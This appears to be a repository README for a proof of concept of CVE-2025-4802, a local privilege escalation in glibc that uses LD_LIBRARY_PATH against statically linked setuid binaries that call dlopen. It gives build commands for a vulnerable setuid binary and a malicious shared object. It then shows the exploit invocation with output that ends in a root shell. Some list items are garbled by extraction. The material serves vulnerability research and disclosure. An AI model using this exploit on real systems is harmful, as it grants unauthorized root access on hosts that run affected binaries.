
Proof of Concept for a statically compiled setuid binary vulnerable to dlopen with LD_LIBRARY_PATH
⚠️ Disclaimer: This repository is for educational and authorized security research purposes only. Do not use this exploit against systems you do not own or have explicit permission to test. Misuse may violate laws and regulations.
| Field | Details |
|---|---|
| CVE ID | CVE-2025-4802 |
| Affected Software | GNU C Library (glibc) |
| Affected Versions | 2.27 – 2.38 |
| Vulnerability Type | Privilege Escalation via Untrusted LD_LIBRARY_PATH |
| Attack Vector | Local |
A vulnerability in the GNU C Library (glibc) versions 2.27 through 2.38 allows an attacker to exploit the LD_LIBRARY_PATH environment variable in statically compiled setuid binaries that call dlopen().
Normally, the dynamic linker sanitizes LD_LIBRARY_PATH for setuid programs. However, statically compiled binaries bypass the dynamic linker entirely, so LD_LIBRARY_PATH is never cleared. When such a binary calls dlopen() (directly, or indirectly via setlocale() or NSS functions like getaddrinfo()), glibc resolves shared libraries using the attacker-controlled LD_LIBRARY_PATH, enabling arbitrary code execution with elevated privileges.
dlopen("myso.so", ...) to load a shared object by name (not an absolute path).ld-linux.so) never runs, so LD_LIBRARY_PATH is not sanitized.myso.so) that exports the same hello() symbol but spawns a root shell.LD_LIBRARY_PATH to point to the directory containing the malicious library..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Or manually:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Expected output:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (malicious behavior)LD_LIBRARY_PATH=./evil_library ./main
Expected output:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
The binary loads the attacker's myso.so from evil_library/ instead of the legitimate one, spawning a root shell.

A video walkthrough is also available: proof_of_concept_video.mp4
dlopen()dlopen() calls instead of bare library namesdlopen()